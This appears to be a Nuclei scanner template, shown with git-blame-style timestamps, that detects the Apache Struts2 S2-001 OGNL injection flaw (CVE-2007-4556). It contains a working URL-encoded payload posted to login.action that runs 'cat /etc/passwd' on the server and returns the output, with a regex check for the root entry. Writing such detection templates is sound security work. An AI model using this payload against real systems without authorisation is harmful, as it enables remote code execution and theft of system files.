2021-02-21 13:57:34 +00:00
id : CVE-2007-4556
info :
name : Apache Struts2 S2-001 RCE
author : pikpikcu
severity : critical
2021-04-22 08:59:05 +00:00
description : Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via form input beginning with a "%{" sequence and ending with a "}" character.
2021-02-21 13:57:34 +00:00
reference : https://www.guildhab.top/?p=2326
2021-02-22 07:01:32 +00:00
tags : cve,cve2007,apache,rce,struts
2021-02-21 13:57:34 +00:00
requests :
- method : POST
path :
- "{{BaseURL}}/login.action"
headers :
2021-02-21 20:18:07 +00:00
Content-Type : application/x-www-form-urlencoded
2021-02-21 13:57:34 +00:00
body : |
2021-08-19 14:44:46 +00:00
username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
2021-02-21 13:57:34 +00:00
matchers-condition : and
matchers :
2021-02-23 02:37:32 +00:00
- type : regex
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0"
2021-03-05 20:39:54 +00:00
part : body
2021-02-21 13:57:34 +00:00
- type : status
status :
- 200